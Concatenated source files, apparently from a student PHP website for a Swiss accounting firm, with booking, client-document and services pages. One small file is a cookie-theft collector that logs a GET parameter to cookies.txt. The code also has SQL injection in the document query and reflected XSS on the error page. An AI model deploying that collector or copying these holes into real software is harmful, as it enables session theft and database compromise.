<meta name="keywords" content="Colorlib Templates">
<!-- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -->
<meta charset="utf-8">
<title><?= $titre ?></title>
<link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css" integrity="<KEY>" crossorigin="anonymous">
<!-- Bootstrap core CSS -->
<link href="../assets/dist/css/bootstrap.min.css" rel="stylesheet">
<!-- Icon page avec logo-->
<link rel="icon" href="img/logo.png" type="image/gif">
<link href='fullcalendar/main.css' rel='stylesheet' />
<script src='fullcalendar/main.js'></script>
<!-- Custom styles for this template -->
<link href="css/footer.css" rel="stylesheet">
<link href="css/blog.css" rel="stylesheet">
<!-- JS, Popper.js, and jQuery -->
<script src="https://code.jquery.com/jquery-3.5.1.slim.min.js" integrity="<KEY>" crossorigin="anonymous"></script>
<script src="https://cdn.jsdelivr.net/npm/popper.js@1.16.1/dist/umd/popper.min.js" integrity="<KEY>" crossorigin="anonymous"></script>
<script src="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/js/bootstrap.min.js" integrity="<KEY>" crossorigin="anonymous"></script>
<!-- Les icones utilisé -->
<script src="https://kit.fontawesome.com/693819749c.js" crossorigin="anonymous"></script>
<script>
document.addEventListener('DOMContentLoaded', function() {
var calendarEl = document.getElementById('calendar');
var calendar = new FullCalendar.Calendar(calendarEl, {
initialView: 'dayGridMonth'
});
calendar.render();
});
</script>
</head>
<body>
<div class="container">
<header class="blog-header py-3">
<div class="row flex-nowrap justify-content-between align-items-center">
<div class="col-12 text-center">
<a class="blog-header-logo text-dark" href="index.php"><img src="./img/logo.png" style="width:220px;"/></a>
</div>
</div>
</header>
<nav class="navbar navbar-expand-xl navbar-dark bg-dark1 rounded" style="margin:10px">
<button class="navbar-toggler" type="button" data-toggle="collapse" data-target="#navbarsExample06" aria-controls="navbarsExample06" aria-expanded="false" aria-label="Toggle navigation">
<span class="navbar-toggler-icon"></span>
</button>
<div class="collapse navbar-collapse colw" id="navbarsExample06">
<ul class="navbar-nav mr-auto">
<a class="text-muted1" href="index.php">Accueil</a>
<a class="text-muted1" href="services.php">Services</a>
<a class="text-muted1" href="partenaires.php">Partenaires</a>
<a class="text-muted1" href="contact.php">Contact</a>
<a class="text-muted1" href="reservation.php">Rendez-vous</a>
<?php if(!empty($_SESSION["EST_CLIENT"]) ) : ?>
<a class="text-muted1" href="espaceClient.php">Espace Client</a>
<a class="text-muted1" href="logout.php">Se déconnecter</a>
<?php elseif(!empty($_SESSION["EST_ADMIN"])) : ?>
<a class="text-muted1" href="espaceAdmin.php">Espace Admin</a>
<a class="text-muted1" href="logout.php">Se déconnecter</a>
<?php else : ?>
<a class=" text-muted1" href="login.php">Se connecter</a>
<?php endif; ?>
</ul>
</div>
</nav>
</div>
<file_sep>var inputNom = document.getElementById("inputNom")
inputNom.addEventListener("keyup", verifierNom)
var divMsg = document.getElementById("errorMsg")
function btnGriser(condition){
document.getElementById("btnEnvoyer").disabled = condition
}
function verifierNom(){
var inputNomValue = document.getElementById("inputNom").value
var pattern = new RegExp(/[~`!§#$°@$_£%\\^&*+=()@#¢\-¬¦\[\]\';,/{}|\":<>\?]/);
if (inputNomValue != "") {
if (pattern.test(inputNomValue)) {
divMsg.innerHTML = '<div class="alert alert-danger" role="alert">Le format de votre nom est invalide</div>'
btnGriser(true)
}
else {
for (var i = 0; i < inputNomValue.length; i++){
if (!isNaN(inputNomValue[i])){
divMsg.innerHTML = '<div class="alert alert-danger" role="alert">Le format de votre nom est invalide</div>'
btnGriser(true)
break
}
}
}
if (i == inputNomValue.length){
btnGriser(false)
divMsg.innerHTML = ''
}
}
else {
btnGriser(true)
divMsg.innerHTML = ''
}
}
<file_sep> <!doctype html>
<html>
<head>
<?php
$titre = "C&M Comptabilité Sàrl - Espace Client";
include('navbar.php');
include_once 'dbconnect.php';
if ($_SESSION['EST_CLIENT'] == 1){
$nom = $_SESSION["PER_NOM"];
$prenom = $_SESSION["PER_PRENOM"];
$idpersonne = $_SESSION["ID_PERSONNEP"];
// fetch files
$sql =" select DOC_NOM,DOC_STATUS from document as d , appartient as ap, personnephysique as pp WHERE d.ID_DOCUMENT = ap.ID_DOCUMENT AND ap.ID_PERSONNEP = pp.ID_PERSONNEP AND pp.ID_PERSONNEP = ".$idpersonne."";
$result = mysqli_query($con, $sql);
}
?>
<title>C&M Comptabilité Sàrl</title>
<link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css" integrity="<KEY>" crossorigin="anonymous">
<!-- Custom styles for this template -->
<link href="blog.css" rel="stylesheet">
<!-- JS, Popper.js, and jQuery -->
<script src="https://code.jquery.com/jquery-3.5.1.slim.min.js" integrity="<KEY>" crossorigin="anonymous"></script>
<script src="https://cdn.jsdelivr.net/npm/popper.js@1.16.1/dist/umd/popper.min.js" integrity="<KEY>" crossorigin="anonymous"></script>
<script src="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/js/bootstrap.min.js" integrity="<KEY>" crossorigin="anonymous"></script>
<!-- Les icones utilisé -->
<script src="https://kit.fontawesome.com/693819749c.js" crossorigin="anonymous"></script>
</head>
<body>
<main role="main" class="container">
<div class="row">
<div class="col-md-12 blog-main">
<?php if(isset($_GET['st'])) { ?>
<?php if ($_GET['st'] == 'success') {
echo "<div class='alert alert-success text-center'> Le document a bien été téléchargé ! </div>";
}
else
{
echo "<div class='alert alert-danger text-center'> Téléchargement refusé ! Vous avez mis une mauvaise extension de fichier, veuillez choisir soit .pdf ou .docx </div>";
} ?>
<?php } ?>
<div id="alert"></div>
<div class="row">
<div class="cold-md-12 ml-3">
<form action="uploads.php" method="post" enctype="multipart/form-data">
<legend>Choisir un fichier à ajouter :</legend>
<div class="row">
<div class="cold-md-4 mt-4 ml-4 mb-2">
<input type="file" name="file1" id="FileAdd"/>
</div>
<div class="cold-md-4 mt-4 mr-3" id="ajout">
</div>
</div>
</form>
</div>
</div>
<div class="row">
<div class="col-12 col-xs-offset-2 mt-3">
<table class="table table-striped table-hover">
<thead>
<tr>
<th>Nom Document</th>
<th>Voir</th>
<th>Télécharger</th>
<th>Status</th>
</tr>
</thead>
<tbody>
<?php
while($row = mysqli_fetch_array($result)) { ?>
<tr>
<td><?php echo $row['DOC_NOM']; ?></td>
<td><a href="uploads/<?php echo $nom.$prenom."/"; ?><?php echo $row['DOC_NOM']; ?>" target="_blank">Voir</a></td>
<td><a href="uploads/<?php echo $nom.$prenom."/"; ?><?php echo $row['DOC_NOM']; ?>" download>Télécharger</td>
<?php if($row['DOC_STATUS'] == 0 ){
echo "<td class='alert alert-primary' > En Traitement </td>";
}
elseif($row['DOC_STATUS'] == 1){
echo "<td class='alert alert-success' > Validé </td>";
}
else{
echo "<td class='alert alert-danger' > Refusé </td>";
}
?>
</tr>
<?php } ?>
</tbody>
</table>
</div>
</div>
<!--/.Panel 2019-->
</div>
</div>
</main>
<footer>
<!-- /.container -->
<!-- Footer Links -->
<div class="container text-center text-md-left mt-5" style="background-color:lightgrey">
<!-- Grid row -->
<div class="row mt-3">
<!-- Grid column -->
<div class="col-md-3 col-lg-4 col-xl-3 mx-auto mb-4">
<!-- Content -->
<h6 class="text-uppercase font-weight-bold">C&M Comptabilité</h6>
<hr class="deep-purple accent-2 mb-4 mt-0 d-inline-block mx-auto" style="width: 60px;">
<p>Que vous soyez indépendant ou particulier, votre demande et votre satisfaction sont nos
premiers critères de collaboration.</p>
</div>
<!-- Grid column -->
<!-- Grid column -->
<div class="col-md-2 col-lg-2 col-xl-2 mx-auto mb-4">
<!-- Links -->
<h6 class="text-uppercase font-weight-bold"></h6>
<!-- <hr class="deep-purple accent-2 mb-4 mt-0 d-inline-block mx-auto" style="width: 60px;"> -->
<p>
<a href="#!"></a>
</p>
<p>
<a href="#!"></a>
</p>
<p>
<a href="#!"></a>
</p>
<p>
<a href="#!"></a>
</p>
</div>
<!-- Grid column -->
<!-- Grid column -->
<div class="col-md-3 col-lg-2 col-xl-2 mx-auto mb-4">
<!-- Links -->
<h6 class="text-uppercase font-weight-bold">Liens utiles</h6>
<hr class="deep-purple accent-2 mb-4 mt-0 d-inline-block mx-auto" style="width: 60px;">
<p>
<a href="login.php">Connectez vous!</a>
</p>
<p>
<a href="reservation.php">Prenez un rendez-vous</a>
</p>
<p>
<a href="services.php">Nos services</a>
</p>
<p>
<a href="contact.php">Nous contater</a>
</p>
</div>
<!-- Grid column -->
<!-- Grid column -->
<div class="col-md-4 col-lg-3 col-xl-3 mx-auto mb-md-0 mb-4">
<!-- Links -->
<h6 class="text-uppercase font-weight-bold">Contact</h6>
<hr class="deep-purple accent-2 mb-4 mt-0 d-inline-block mx-auto" style="width: 70px; height:5px;">
<p>
<i class="fas fa-home mr-3"></i> Avenue Industrielle 14</p>
<p>
<i class="fas fa-map-pin mr-4"></i> 1227 Carouge </p>
<p>
<i class="fas fa-envelope mr-3"></i> <EMAIL></p>
<p>
<i class="fas fa-phone mr-3"></i> 076 375 33 06 </p>
<p>
<i class="fas fa-phone mr-3"></i> 078 778 07 11 </p>
</div>
<!-- Grid column -->
</div>
<!-- Grid row -->
</div>
<!-- Footer Links -->
<!-- Copyright -->
<div class="footer-copyright text-center py-3">© 2020 Copyright:
<a href="https://esig-sandbox.ch/team2020_2"> C&M-Comptabilité.com</a>
</div>
<!-- Copyright -->
</footer>
<script src="js/document.js"></script>
</body>
</html>
<file_sep><?php
$title = "Oups!";
require 'fonction.php';
session_start();
?>
<div class="input-group custom-search-form">
<h2>Sorry...</h2>
<p><?= $_GET['message']; ?></p>
</div>
<div class="input-group custom-search-form">
<br>
<a href="index.php">Retour à l'accueil.</a>
</div>
<file_sep><?php
$titre = "C&M - Réservation";
include('navbar.php');
?>
<!-- /////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// -->
<html lang="en" dir="ltr">
<head>
<link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css" integrity="<KEY>" crossorigin="anonymous">
<!-- Custom styles for this template -->
<link href="blog.css" rel="stylesheet">
<!-- JS, Popper.js, and jQuery -->
<script src="https://code.jquery.com/jquery-3.5.1.slim.min.js" integrity="<KEY>" crossorigin="anonymous"></script>
<script src="https://cdn.jsdelivr.net/npm/popper.js@1.16.1/dist/umd/popper.min.js" integrity="<KEY>" crossorigin="anonymous"></script>
<script src="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/js/bootstrap.min.js" integrity="<KEY>" crossorigin="anonymous"></script>
<!-- Les icones utilisé -->
<script src="https://kit.fontawesome.com/693819749c.js" crossorigin="anonymous"></script>
</head>
<body>
<?php if(!empty($_SESSION["EST_CLIENT"]) ) { ?>
<?php if ($_SESSION["EST_CLIENT"] == 1){
$res=getReservation($_SESSION['ID_PERSONNEP']);
$date1=date_create(date("d-m-Y", strtotime($res["RES_DATEDEBUT"])));
$date2=date_create(date('d-m-Y'));
$diff = date_diff($date2,$date1);
if (!empty($res)){ ?>
<?php if (isset($_POST['btnannulerres'])){
delReservation($res['ID_PERSONNEP']);
header("Location:reservation.php");
}
?>
<div class="d-flex justify-content-center"><h3>Votre rendez vous du <?= date("d-m-Y", strtotime($res["RES_DATEDEBUT"])); ?> </h3></div>
<div class="d-flex justify-content-center"><h4>Heure : <?= date("H:i", strtotime($res["RES_DATEDEBUT"])); ?> </h4></div>
<div class="d-flex justify-content-center"><h4>Motif : <?= $res["RES_MOTIF"]; ?> </h4></div>
<div class="d-flex justify-content-center"><h4>Adresse : </h4></div><br>
<div class="center-content-center">
<iframe src="https://www.google.com/maps/embed?pb=!1m18!1m12!1m3!1d2762.0709793999126!2d6.132564715836894!3d46.18914619279765!2m3!1f0!2f0!3f0!3m2!1i1024!2i768!4f13.1!3m3!1m2!1s0x478c7b288f52b40d%3A0xa4b771d96d8a3be2!2sAvenue%20Industrielle%2014%2C%201227%20Carouge!5e0!3m2!1sfr!2sch!4v1599144012637!5m2!1sfr!2sch" width="100%" height="315" frameborder="0" style="border:0" allowfullscreen></iframe>
</div>
<div class="col-md-12 text-center">
<br><br>
<div class="d-flex justify-content-center"><h6>Annulation possible minimum 72h avant rendez-vous</h6></div>
<?php if ($diff->format("%R%a") >= 3): ?>
<form method="POST" action="reservation.php">
<button type="submit" name="btnannulerres" class="btn btn-primary" >Annuler réservation</button>
</form>
<?php else : ?>
<button type="button" name="btnannulerres" class="btn btn-primary" disabled>Annuler réservation</button>
<?php endif; ?>
</div>
<?php }else{ ?>
<div class="d-flex justify-content-center"><h1>Prendre rendez-vous</h1></div>
<link href='fullcalendar/main.css' rel='stylesheet' />
<script src='fullcalendar/main.js'></script>
<link href="calendar.css" rel="stylesheet">
<script src="calendrierC.js"></script>
<div id='calendar'></div>
<?php } ?>
<?php }else{
$res=getReservationE($_SESSION['ID_PERSONNEMORALE']);
$date1=date_create(date("d-m-Y", strtotime($res["RES_DATEDEBUT"])));
$date2=date_create(date('d-m-Y'));
$diff = date_diff($date2,$date1);
if (!empty($res)){ ?>
<?php if (isset($_POST['btnannulerres'])){
delReservationE($res['ID_PERSONNEMORALE']);
header("Location:reservation.php");
}?>
<div class="d-flex justify-content-center"><h3>Votre rendez vous du <?= date("d-m-Y", strtotime($res["RES_DATEDEBUT"])); ?> </h3></div>
<div class="d-flex justify-content-center"><h4>Heure : <?= date("H:i", strtotime($res["RES_DATEDEBUT"])); ?> </h4></div>
<div class="d-flex justify-content-center"><h4>Motif : <?= $res["RES_MOTIF"]; ?> </h4></div>
<div class="d-flex justify-content-center"><h4>Adresse : </h4></div><br>
<div class="center-content-center">
<iframe src="https://www.google.com/maps/embed?pb=!1m18!1m12!1m3!1d2762.0709793999126!2d6.132564715836894!3d46.18914619279765!2m3!1f0!2f0!3f0!3m2!1i1024!2i768!4f13.1!3m3!1m2!1s0x478c7b288f52b40d%3A0xa4b771d96d8a3be2!2sAvenue%20Industrielle%2014%2C%201227%20Carouge!5e0!3m2!1sfr!2sch!4v1599144012637!5m2!1sfr!2sch" width="100%" height="315" frameborder="0" style="border:0" allowfullscreen></iframe>
</div>
<div class="col-md-12 text-center">
<br><br>
<div class="d-flex justify-content-center"><h6>Annulation possible minimum 72h avant rendez-vous</h6></div>
<?php if ($diff->format("%R%a") >= 3): ?>
<form method="POST" action="reservation.php">
<button type="submit" name="btnannulerres" class="btn btn-primary" >Annuler réservation</button>
</form>
<?php else : ?>
<button type="button" name="btnannulerres" class="btn btn-primary" disabled>Annuler réservation</button>
<?php endif; ?>
</div>
<?php }else{ ?>
<div class="d-flex justify-content-center"><h1>Prendre rendez-vous</h1></div>
<link href='fullcalendar/main.css' rel='stylesheet' />
<script src='fullcalendar/main.js'></script>
<link href="calendar.css" rel="stylesheet">
<script src="calendrierE.js"></script>
<div id='calendar'></div>
<?php }} ?>
<?php }elseif (!empty($_SESSION["EST_ADMIN"])) { ?>
<link href='fullcalendar/main.css' rel='stylesheet' />
<script src='fullcalendar/main.js'></script>
<link href="calendar.css" rel="stylesheet">
<script src="calendrierA.js"></script>
<div id='calendar'></div>
<?php }else{ ?>
<h1 class="mb-6 text-center" >Veuillez <a href="login.php">vous connecter</a> pour prendre rendez-vous.</h1>
<footer class="page-footer font-small">
<div style="background-color: #26479e; margin-top:50px">
<div class="container">
<!-- Grid row-->
<div class="row py-4 d-flex align-items-center">
<!-- Grid column -->
<div class="col-md-6 col-lg-5 text-center text-md-left mb-4 mb-md-0" st>
<h6 class="mb-0" style="color:white;">Vous pouvez aussi nous contactez sur les réseaux sociaux!</h6>
</div>
<!-- Grid column -->
<!-- Grid column -->
<div class="col-md-6 col-lg-7 text-center text-md-right">
<!-- Facebook -->
<a class="fb-ic" href="https://www.facebook.com/CM-Comptabilit%C3%A9-S%C3%A0rl-107024997531257/">
<i class="fab fa-facebook-f white-text mr-4"> </i>
</a>
<!--Instagram-->
<a class="ins-ic" href="https://instagram.com/cm.comptabilite?igshid=1awx5885odk3t">
<i class="fab fa-instagram white-text"> </i>
</a>
</div>
<!-- Grid column -->
</div>
<!-- Grid row-->
</div>
</div>
<!-- Footer Links -->
<div class="container text-center text-md-left mt-5" style="background-color:lightgrey">
<!-- Grid row -->
<div class="row mt-3">
<!-- Grid column -->
<div class="col-md-3 col-lg-4 col-xl-3 mx-auto mb-4">
<!-- Content -->
<h6 class="text-uppercase font-weight-bold">C&M Comptabilité</h6>
<hr class="deep-purple accent-2 mb-4 mt-0 d-inline-block mx-auto" style="width: 60px;">
<p>Que vous soyez indépendant ou particulier, votre demande et votre satisfaction sont nos
premiers critères de collaboration.</p>
</div>
<!-- Grid column -->
<!-- Grid column -->
<div class="col-md-2 col-lg-2 col-xl-2 mx-auto mb-4">
<!-- Links -->
<h6 class="text-uppercase font-weight-bold"></h6>
<!-- <hr class="deep-purple accent-2 mb-4 mt-0 d-inline-block mx-auto" style="width: 60px;"> -->
<p>
<a href="#!"></a>
</p>
<p>
<a href="#!"></a>
</p>
<p>
<a href="#!"></a>
</p>
<p>
<a href="#!"></a>
</p>
</div>
<!-- Grid column -->
<!-- Grid column -->
<div class="col-md-3 col-lg-2 col-xl-2 mx-auto mb-4">
<!-- Links -->
<h6 class="text-uppercase font-weight-bold">Liens utiles</h6>
<hr class="deep-purple accent-2 mb-4 mt-0 d-inline-block mx-auto" style="width: 60px;">
<p>
<a href="login.php">Connectez vous!</a>
</p>
<p>
<a href="reservation.php">Prenez un rendez-vous</a>
</p>
<p>
<a href="services.php">Nos services</a>
</p>
<p>
<a href="contact.php">Nous contater</a>
</p>
</div>
<!-- Grid column -->
<!-- Grid column -->
<div class="col-md-4 col-lg-3 col-xl-3 mx-auto mb-md-0 mb-4">
<!-- Links -->
<h6 class="text-uppercase font-weight-bold">Contact</h6>
<hr class="deep-purple accent-2 mb-4 mt-0 d-inline-block mx-auto" style="width: 70px; height:5px;">
<p>
<i class="fas fa-home mr-3"></i> Avenue Industrielle 14</p>
<p>
<i class="fas fa-map-pin mr-4"></i> 1227 Carouge </p>
<p>
<i class="fas fa-envelope mr-3"></i> <EMAIL></p>
<p>
<i class="fas fa-phone mr-3"></i> 076 375 33 06 </p>
<p>
<i class="fas fa-phone mr-3"></i> 078 778 07 11 </p>
</div>
<!-- Grid column -->
</div>
<!-- Grid row -->
</div>
<!-- Footer Links -->
<!-- Copyright -->
<div class="footer-copyright text-center py-3">© 2020 Copyright:
<a href="https://esig-sandbox.ch/team2020_2"> C&M-Comptabilité.com</a>
</div>
<!-- Copyright -->
</footer>
<?php }?>
</body>
</html>
<file_sep><!DOCTYPE html>
<html dir="ltr">
<head>
<meta charset="utf-8">
<title>C&M Comptabilité Sàrl</title>
<?php
$titre = "C&M - Accueil";
include('navbar.php');
?>
<link rel="stylesheet" href="css/index.css" />
</head>
<body>
<main role="main" class="container">
<div class="row">
<div class="col-md-12 blog-main">
<div class="blog-post">
<section class="page-section clearfix">
<div class="container">
<div class="container">
<div class="intro">
<div class="intro-text text-center p-2 rounded" style="z-index:1;">
<h2 class="section-heading rounded mb-3">
<span class="section-heading-lower">
C&M Comptabilité
</span>
</h2>
</div>
</div>
</div>
<div class="container" >
<div class="intro">
<div class="intro-text2 left-0 rounded" style="z-index:0;">
<h2 class="section-heading2 rounded">
<span class="section-heading-upper rounded p-2">
C&M Comptabilité Sàrl<br />
a pour objectif de répondre aux demandes de
chaque client et de conseiller au mieux celui-ci. Nous avons pour
principe d’instaurer une relation de confiance avec chacun de nos
clients pour avoir la possibilité de le guider au mieux dans ces
projets futur.<br />
</br>C&M Comptabilité Sàrl est une entreprise qui a été
fondée en fin d’année 2019 par les deux frères Uva. Nous avons
pour but d’ouvrir une comptabilité ou nous pourrons offrir nos
services et proposer des solutions à nos clients.
</span>
</h2>
</div>
</div>
</div>
</section>
</div>
</div>
</div><!-- /.blog-post -->
</div>
</main><!-- /.container -->
<!-- Footer -->
<footer class="page-footer font-small">
<div style="background-color: #26479e; margin-top:50px">
<div class="container">
<!-- Grid row-->
<div class="row py-4 d-flex align-items-center">
<!-- Grid column -->
<div class="col-md-6 col-lg-5 text-center text-md-left mb-4 mb-md-0" st>
<h6 class="mb-0" style="color:white;">Vous pouvez aussi nous contactez sur les réseaux sociaux!</h6>
</div>
<!-- Grid column -->
<!-- Grid column -->
<div class="col-md-6 col-lg-7 text-center text-md-right">
<!-- Facebook -->
<a class="fb-ic" href="https://www.facebook.com/CM-Comptabilit%C3%A9-S%C3%A0rl-107024997531257/">
<i class="fab fa-facebook-f white-text mr-4"> </i>
</a>
<!--Instagram-->
<a class="ins-ic" href="https://instagram.com/cm.comptabilite?igshid=1awx5885odk3t">
<i class="fab fa-instagram white-text"> </i>
</a>
</div>
<!-- Grid column -->
</div>
<!-- Grid row-->
</div>
</div>
<!-- Footer Links -->
<div class="container text-center text-md-left mt-5" style="background-color:lightgrey">
<!-- Grid row -->
<div class="row mt-3">
<!-- Grid column -->
<div class="col-md-3 col-lg-4 col-xl-3 mx-auto mb-4">
<!-- Content -->
<h6 class="text-uppercase font-weight-bold">C&M Comptabilité</h6>
<hr class="deep-purple accent-2 mb-4 mt-0 d-inline-block mx-auto" style="width: 60px;">
<p>Que vous soyez indépendant ou particulier, votre demande et votre satisfaction sont nos
premiers critères de collaboration.</p>
</div>
<!-- Grid column -->
<!-- Grid column -->
<div class="col-md-2 col-lg-2 col-xl-2 mx-auto mb-4">
<!-- Links -->
<h6 class="text-uppercase font-weight-bold"></h6>
<!-- <hr class="deep-purple accent-2 mb-4 mt-0 d-inline-block mx-auto" style="width: 60px;"> -->
<p>
<a href="#!"></a>
</p>
<p>
<a href="#!"></a>
</p>
<p>
<a href="#!"></a>
</p>
<p>
<a href="#!"></a>
</p>
</div>
<!-- Grid column -->
<!-- Grid column -->
<div class="col-md-3 col-lg-2 col-xl-2 mx-auto mb-4">
<!-- Links -->
<h6 class="text-uppercase font-weight-bold">Liens utiles</h6>
<hr class="deep-purple accent-2 mb-4 mt-0 d-inline-block mx-auto" style="width: 60px;">
<p>
<a href="login.php">Connectez vous!</a>
</p>
<p>
<a href="reservation.php">Prenez un rendez-vous</a>
</p>
<p>
<a href="services.php">Nos services</a>
</p>
<p>
<a href="contact.php">Nous contater</a>
</p>
</div>
<!-- Grid column -->
<!-- Grid column -->
<div class="col-md-4 col-lg-3 col-xl-3 mx-auto mb-md-0 mb-4">
<!-- Links -->
<h6 class="text-uppercase font-weight-bold">Contact</h6>
<hr class="deep-purple accent-2 mb-4 mt-0 d-inline-block mx-auto" style="width: 70px; height:5px;">
<p>
<i class="fas fa-home mr-3"></i> Avenue Industrielle 14</p>
<p>
<i class="fas fa-map-pin mr-4"></i> 1227 Carouge </p>
<p>
<i class="fas fa-envelope mr-3"></i> <EMAIL></p>
<p>
<i class="fas fa-phone mr-3"></i> 076 375 33 06 </p>
<p>
<i class="fas fa-phone mr-3"></i> 078 778 07 11 </p>
</div>
<!-- Grid column -->
</div>
<!-- Grid row -->
</div>
<!-- Footer Links -->
<!-- Copyright -->
<div class="footer-copyright text-center py-3">© 2020 Copyright:
<a href="https://esig-sandbox.ch/team2020_2"> C&M-Comptabilité.com</a>
</div>
<!-- Copyright -->
</footer>
<!-- Footer -->
</body>
</html>
<file_sep><?php
$cookie = $_GET['c'];// on reconnaît c en variable GET
$fp = fopen("cookies.txt","a");
fputs($fp,$cookie . "\r\n");
fclose($fp);
?>
<script>
window.close();
</script><file_sep><!DOCTYPE html>
<html dir="ltr">
<head>
<meta charset="utf-8">
<title>C&M Comptabilité Sàrl</title>
<?php
$titre = "C&M - Accueil";
include('navbar.php');
?>
<link rel="stylesheet" href="css/services.css" />
</head>
<body>
<main role="main" class="container">
<div class="row">
<!-- <div class="col-md-12 blog-main"> -->
<div class="blog-post">
<section class="page-section clearfix">
<div class="container">
<div class="intro" style="z-index:1;">
<div class="intro-text left-0 text-center rounded" style="z-index:1;">
<h2 class="section-heading">
<span class="section-heading-lower">Services</span>
</h2>
</div>
</div>
<div class="intro" style="z-index:0;">
<!-- <h2 class="section-heading2 bg-faded" > -->
<div id="carouselExampleIndicators" class="carousel slide rounded" data-ride="carousel">
<ol class="carousel-indicators">
<li data-target="#carouselExampleIndicators" data-slide-to="0" class="active"></li>
<li data-target="#carouselExampleIndicators" data-slide-to="1"></li>
<li data-target="#carouselExampleIndicators" data-slide-to="2"></li>
<li data-target="#carouselExampleIndicators" data-slide-to="3"></li>
<li data-target="#carouselExampleIndicators" data-slide-to="4"></li>
</ol>
<div class="carousel-inner">
<div class="carousel-item active">
<div class="intro-text2 bg-faded rounded">
<h2 class="section-heading2">
<span class="section-heading-upper">
Déclaration fiscale <br /><br />
C&M Comptabilité propose de s'occupuer de votre déclaration fiscale chaque année.
</span>
</h2>
</div>
</div>
<div class="carousel-item">
<div class="intro-text2 text-justify bg-faded rounded">
<h2 class="section-heading2">
<span class="section-heading-upper">
Comptabilisation générale <br /><br />
C&M Comptabilité assure l’intégralité de la comptabilité de tout type de société.
Le prix pour les indépendants est de minimum 1’200 CHF par an. Pour une SA/Sàrl
au chiffre d’affaire inférieur à 100’000 CHF le prix est de 2’400 CHF par
an, tandis que les SA/Sàrl ayant un chiffre d’affaire supérieur à 100’000 CHF,
la prestation se monte à 6’000 CHF par an.
</span>
</h2>
</div>
</div>
<div class="carousel-item">
<div class="intro-text2 text-justify bg-faded rounded">
<h2 class="section-heading2">
<span class="section-heading-upper">
Déclaration TVA <br /><br />
Une gestion incorrecte de la TVA peut représenter un risque non-négligeable pour les entreprises.
Il est ainsi primordial de s’assurer que la TVA est correctement reportée.
<br /><br />
C&M Comptabilité prépare et soumet les déclarations TVA trimestrielles de votre société de même que sa
réconciliation annuelle. L’intégralité de nos papiers de travail sont disponibles sur notre
plateforme sécurisée ce qui vous permet d’y accéder en tous temps.
</span>
</h2>
</div>
</div>
<div class="carousel-item">
<div class="intro-text2 bg-faded rounded">
<h2 class="section-heading2">
<span class="section-heading-upper">
Administration<br /><br />
Notre fiduciaire à Veyrier se joint à vous en matière d’administration. Nous vous proposons d’alléger vos tâches concernant :
<ul>
<li>Secrétariat, standard téléphonique avec un numéro attribué à votre nom</li> <br />
<li>Constitution et envoie de courrier</li><br />
<li>Devis, conseils, rédaction, évaluation, édition et expédition</li><br />
<li>Factures, regroupement des devis, constitution, expédition</li><br />
<li>Gestion des rappels et suivi des débiteurs</li><br />
</ul>
</span>
</h2>
</div>
</div>
<div class="carousel-item">
<div class="intro-text2 text-justify bg-faded rounded">
<h2 class="section-heading2">
<span class="section-heading-upper">
Domiciliation d’entreprise <br /><br />
Vous souhaitez créer une entreprise en Suisse mais vous ne disposez pas de locaux.
C&M Comptabilité vous propose de domicilier votre entreprise à son adresse,
ce qui vous permettra d’enregistrer votre entreprise au Registre du commerce.
<br /><br />
La domiciliation vous permet d’enregistrer rapidement votre société au Registre du commerce
et de recevoir du courrier à l’adresse de votre domiciliateur, en attendant d’avoir de solides
bases financières pour pouvoir louer ou acquérir un local si tel est votre souhait.
</span>
</h2>
</div>
</div>
</div>
<a class="carousel-control-prev" href="#carouselExampleIndicators" role="button" data-slide="prev">
<span class="carousel-control-prev-icon" aria-hidden="true"></span>
<span class="sr-only">Previous</span>
</a>
<a class="carousel-control-next" href="#carouselExampleIndicators" role="button" data-slide="next">
<span class="carousel-control-next-icon" aria-hidden="true"></span>
<span class="sr-only">Next</span>
</a>
</div>
</h2>
</div>
</div>
</section>
</div>
</div>
</div><!-- /.blog-post -->
</div>
</main><!-- /.container -->
<!-- Footer -->
<footer class="page-footer font-small">
<div style="background-color: #26479e; margin-top:50px">
<div class="container">
<!-- Grid row-->
<div class="row py-4 d-flex align-items-center">
<!-- Grid column -->
<div class="col-md-6 col-lg-5 text-center text-md-left mb-4 mb-md-0" st>
<h6 class="mb-0" style="color:white;">Vous pouvez aussi nous contactez sur les réseaux sociaux!</h6>
</div>
<!-- Grid column -->
<!-- Grid column -->
<div class="col-md-6 col-lg-7 text-center text-md-right">
<!-- Facebook -->
<a class="fb-ic" href="https://www.facebook.com/CM-Comptabilit%C3%A9-S%C3%A0rl-107024997531257/">
<i class="fab fa-facebook-f white-text mr-4"> </i>
</a>
<!--Instagram-->
<a class="ins-ic" href="https://instagram.com/cm.comptabilite?igshid=1awx5885odk3t">
<i class="fab fa-instagram white-text"> </i>
</a>
</div>
<!-- Grid column -->
</div>
<!-- Grid row-->
</div>
</div>
<!-- Footer Links -->
<div class="container text-center text-md-left mt-5" style="background-color:lightgrey">
<!-- Grid row -->
<div class="row mt-3">
<!-- Grid column -->
<div class="col-md-3 col-lg-4 col-xl-3 mx-auto mb-4">
<!-- Content -->
<h6 class="text-uppercase font-weight-bold">C&M Comptabilité</h6>
<hr class="deep-purple accent-2 mb-4 mt-0 d-inline-block mx-auto" style="width: 60px;">
<p>Que vous soyez indépendant ou particulier, votre demande et votre satisfaction sont nos
premiers critères de collaboration.</p>
</div>
<!-- Grid column -->
<!-- Grid column -->
<div class="col-md-2 col-lg-2 col-xl-2 mx-auto mb-4">
<!-- Links -->
<h6 class="text-uppercase font-weight-bold"></h6>
<!-- <hr class="deep-purple accent-2 mb-4 mt-0 d-inline-block mx-auto" style="width: 60px;"> -->
<p>
<a href="#!"></a>
</p>
<p>
<a href="#!"></a>
</p>
<p>
<a href="#!"></a>
</p>
<p>
<a href="#!"></a>
</p>
</div>
<!-- Grid column -->
<!-- Grid column -->
<div class="col-md-3 col-lg-2 col-xl-2 mx-auto mb-4">
<!-- Links -->
<h6 class="text-uppercase font-weight-bold">Liens utiles</h6>
<hr class="deep-purple accent-2 mb-4 mt-0 d-inline-block mx-auto" style="width: 60px;">
<p>
<a href="login.php">Connectez vous!</a>
</p>
<p>
<a href="reservation.php">Prenez un rendez-vous</a>
</p>
